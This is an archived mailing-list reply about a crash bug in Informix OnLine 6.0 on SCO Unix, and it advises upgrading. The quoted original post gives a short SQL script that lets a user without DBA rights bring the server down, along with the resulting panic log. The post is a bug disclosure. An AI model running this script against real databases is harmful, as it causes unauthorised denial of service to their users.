Re: SQL statement cause OnLine panic.

The answer is to upgrade to the newest version of OnLine 7.x I wouldn't expect Informix to fix anything in 6.x of OnLine. And make sure you upgrade SCO to ver. 5 as well. Ver. 3.2.4.2 is soon unsupported by SCO and Informix is doing nothing new on this version. The latest OnLine 7.x on 3.2.4.2 is buggy. Alexander Ponomarenko <shura@bitcom.msk.ru> wrote: >Hi All! >Do you know how to bring down OnLine 6.0 without DBA rights? >Very simple! Just execute following dbaccess script (You should have >RESOURCE privilege): >{ Badboy.sql } >create table BAD_BOY ( > SOMETHING float ); >insert into BAD_BOY values (1); >select * from BAD_BOY where SOMETHING = ''; >And you will get following in your online.log: >13:50:19 Assert Failed: Internal Error - Arithmetic Exception >13:50:19 Who: Session(7, informix@shura.bitcom.msk.ru, 1344, 5) > Thread(29, sqlexec, 80011408, 1) >13:50:19 Results: OnLine must abort >13:50:19 Action: Reinitialize shared memory >13:50:19 See Also: /tmp/af.ea043, shmem.ea043.0 >13:50:56 rsdebug.c, line 3268, thread 29, proc id 1334, Arithmetic Exception. >13:50:57 PANIC: Attempting to bring system down >We have Informix On-Line 6.0 UE2 for SCO, this bug was tested on SCO > 3.2v4.2 and OSES 5. I don't know about other ports and/or versions. >Possible this is only OnLine6/SCO related bug. If you have more information >please let me know. Any comments would be appreciated. >--- > Shura <shura@bitcom.msk.ru> Nils.Myklebust@ccmail.telemax.no NM Data AS, P.O.Box 9090 Gronland, N-0133 Oslo, Norway My opinions are those of my company